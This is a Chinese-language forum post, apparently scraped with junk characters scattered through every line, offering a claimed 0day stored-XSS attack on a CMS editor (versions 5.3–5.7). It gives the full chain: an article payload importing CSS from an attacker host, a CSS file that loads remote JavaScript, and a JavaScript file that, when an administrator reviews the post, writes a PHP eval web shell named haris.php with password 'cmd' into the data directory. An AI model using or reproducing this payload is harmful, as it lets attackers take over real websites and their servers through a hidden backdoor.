<DIV id=read_tpc mb10?>漏洞原因:由于编辑器过滤不严,将导致恶意脚本运行。可getshell/ u' c. B9 R* z1 L3 e
为什么说它是ODay呢,能getshell的都算OD把`(鸡肋发挥起来也能变凤凰)
. r( q0 ^* a2 r: B3 Q: f目前只是测试过5.3到5.7版本。其他更早的版本大家就自由发挥吧。
- b" L5 q& q9 i2 H/ @! t下面说说利用方法。! ]) ?5 m1 X) b* @% \
条件有2个:8 _# [+ w. Z! m! g: I4 w' g
1.开启注册2 x$ t" A; A. M1 v& a9 \
2.开启投稿
2 ^& d0 i& h$ A' e, A" @3 S注册会员----发表文章0 Q/ E5 I3 W$ P6 d. l2 S0 f
内容填写:: _; Q& @) H6 p. R( g
复制代码0 X% H2 q4 z" c( H" k( E
<style>@im\port'\http://xxx.com/xss.css';</style>% v# j) a O. p6 ?0 G( e
新建XSS.Css/ h! m, A, l, J2 R; P
复制代码
Z x3 R3 h/ D: ]+ i.body{) o6 F {% P/ K/ Y& _& e* A
background-image:url('javascript:document.write("<script src=http://xxx.com/xss.js></script>")') }
, M o: A. J }) }) f& ~7 b9 g新建xss.js 内容为' e( w! L. d7 P) X2 S, [" k
复制代码: _9 i, u' Y2 z# j! O1 B. U4 c
1.var request = false;
# x7 H. V7 p& e+ Z7 @7 h4 G0 Y2 t2.if(window.XMLHttpRequest) {% g- q. P2 T+ L5 {& `! q& Q* h
3.request = new XMLHttpRequest();4 L# R0 d* m% @, R+ h
4.if(request.overrideMimeType) {2 m8 l5 G% y# M$ C
5.request.overrideMimeType('text/xml');4 b# _ v. m2 R1 f; Y4 y
6.}
* `3 ~+ ]$ Q+ t) [7.} else if(window.ActiveXObject) {- \# D J! Z \. {& a8 V- M+ U
8.var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];% {( E. B: X( C( X; M
9.for(var i=0; i<versions.length; i++) {3 ~+ T/ ^$ R. R, x( j0 ^2 Y
10.try {; m) `" u% Y' w K! W0 K
11.request = new ActiveXObject(versions);
" I9 G# O8 K+ `7 R12.} catch(e) {}
2 h. q! m' A7 x. |13.}6 H% W4 Y6 W2 i7 i u* t; i9 v
14.}& C9 _. E1 \+ m7 X% @( `: x
15.xmlhttp=request;
4 W, H" n! e. C! E! p' v16.function getFolder( url ){: F4 [' u! V0 Q
17. obj = url.split('/')- V7 W9 {' R; O' |; s
18. return obj[obj.length-2]
; R2 @+ @: z( o19.}; c+ J$ Q' Q/ C- Z9 V$ {3 s1 c
20.oUrl = top.location.href;1 F* L2 M! \( _) U, W) _
21.u = getFolder(oUrl);
+ v( Y( `% V2 ]$ x7 F( ~22.add_admin(); ^ g! x8 Z8 p$ M9 q5 E
23.function add_admin(){' y0 p- o3 p M9 l. Q( G
24.var url= "/"+u+"/sys_sql_query.php";1 C1 C5 T$ a/ ?% ^; K; H
25.var params ="fmdo=edit&backurl=&activepath=%2Fdata&filename=haris.php&str=<%3Fphp+eval%28%24_POST%5Bcmd%5D%29%3F>&B1=++%E4%BF%9D+%E5%AD%98++";2 b; m4 z+ u- X& z/ ^6 [
26.xmlhttp.open("POST", url, true); } m/ G" Y) H+ [0 C7 N( X
27.xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
" U' Y) M; j$ U! A/ ~- N$ S28.xmlhttp.setRequestHeader("Content-length", params.length);2 u! O( B; u, B: C) ~- |
29.xmlhttp.setRequestHeader("Connection", "Keep-Alive"); ~/ D0 ]+ u9 ~1 ^6 X+ L7 j
30.xmlhttp.send(params);
4 ]+ p6 R8 d; \( d8 B31.}
3 a/ z4 Y8 H* X( U当管理员审核这篇文章的时候,将自动在data目录生成一句话haris.php。密码cmd |